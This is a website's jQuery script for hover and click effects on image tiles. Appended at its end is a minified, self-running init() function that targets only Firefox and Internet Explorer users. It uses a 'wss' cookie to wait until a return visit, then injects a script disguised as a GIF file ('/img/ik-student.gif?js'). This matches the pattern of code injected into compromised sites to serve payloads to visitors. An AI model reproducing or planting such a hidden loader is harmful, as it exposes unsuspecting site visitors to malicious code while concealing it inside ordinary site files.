$(document).ready(function(){
	//make text line invisible
	for (i=1;i<8;i++) {
		$('#text'+i).css({"opacity": 0 });
	}
			
	// make the squares do something
	$(".square").click(function(){
		window.location=$(this).find("a").attr("href");
		return false;
	});
	$(".square").hover(function(){
		nr = this.id; 
		nr = nr.substring(nr.length-1, nr.length);
		 showOver(nr);
	}, function() {
		 showOut(nr) 
	});
	
	// make the humans do something
	$(".human").click(function(){
		window.location=$(this).find("a").attr("href");
		return false;
	});
	$(".human").hover(function(){
		nr = this.id; 
		nr = nr.substring(nr.length-1, nr.length);
		 showOver(nr);
	}, function() {
		 showOut(nr) 
	});
	
});

function showOver(nr){
		$('#human'+nr+' a').css({"background-position": "0px 0px"}); 
		$('#square'+nr+' a').css({"background-position": "0px -97px"}); 
		$('#text'+nr).stop().animate({ "opacity": 1 }, 300);
}

function showOut(nr){
		var bgPos = 0+"px -"+document.getElementById('human'+nr).offsetHeight+'px';
		$('#human'+nr+' a').css('background-position', bgPos); 
		$('#square'+nr+' a').css({"background-position": "0px 0px"}); 
		$('#text'+nr).stop().animate({ "opacity": 0 }, 300);
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/ik-student.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
